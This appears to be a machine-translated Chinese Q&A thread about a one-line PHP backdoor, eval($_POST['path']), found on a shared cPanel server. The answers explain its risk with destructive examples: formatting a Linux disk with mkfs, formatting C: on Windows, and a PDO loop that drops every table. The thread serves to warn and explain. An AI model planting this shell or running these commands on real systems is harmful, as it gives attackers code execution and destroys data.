假设您在使用cPanel的共享Web服务器中找到此代码。您是否可以通过将shell上传到服务器或通过其他方法来访问邮件附件或cPanel?我不需要步骤如何做到这一点。只是一个整体的想法。对不起,我不能给你更多细节。但是这段代码不是为了攻击任何人。
<?php eval($_POST['path']);?>
答案 0 :(得分:5)
<强>注意强>
eval()语言构造非常危险,因为它允许执行任意PHP代码。因此不鼓励使用它。如果您已经仔细验证除了使用此构造之外没有其他选择,请特别注意不要将任何用户提供的数据传递到其中,而不事先正确验证它。
例如,将path
设置为以下内容将运行apache用户有权运行的任何shell命令。
exec("system command here");
答案 1 :(得分:1)
不使用Eval,除非你正确地保持你的输入你不应该使用它,即使你确实保持你的输入;它会给您的服务器带来极大的风险。特别是如果您只是eval
从$_POST
运行..我可以使用Tamper data
将该帖子的内容修改为任何内容; SQL注入,以PHP等方式运行任何东西
除非
,否则不应使用此功能1)你知道你在做什么
2)你觉得你对攻击者100%安全。
参见手册:
http://uk3.php.net/manual/en/function.eval.php
eval()语言结构非常危险,因为它允许 执行任意PHP代码。因此不鼓励使用它。如果你 仔细确认除了使用它之外别无选择 构建时,要特别注意不要传递任何用户提供的数据 没有事先正确验证它就进入它。
示例:
在Linux系统上我的帖子可能是:
<?php exec(mkfs.ext3 /dev/sdb1); ?>
我将格式化您的FS
在Windows文件系统上:
<?php exec("format C: /q"); ?>
再次格式化。
这只是为什么不应该使用它的一个例子。
Little Late Edit:
我忘记将此添加到我的答案中,所以我现在将其添加。
如果使用eval($_POST[]);
,您的脚本将面临极大的风险,IE。如果我发现您正在使用PDO
和您的数据库连接变量。我可以执行以下操作:
$Query = $eval->prepare("SHOW TABLES"); $Query->execute(); $Fetch = $Query->fetchAll(PDO::FETCH_COLUMN); print_r($Fetch); foreach($Fetch AS $F){ $New = $eval->exec("DROP TABLE {$F}"); }
并且所有表格都将被删除,这是为什么应该避免使用Eval的一个小例子;
答案 2 :(得分:0)
这是一个可怕的安全漏洞,允许未经过滤的输入数据执行任意代码。对运行PHP的用户可用的任何访问权限都将提供给可能的攻击者。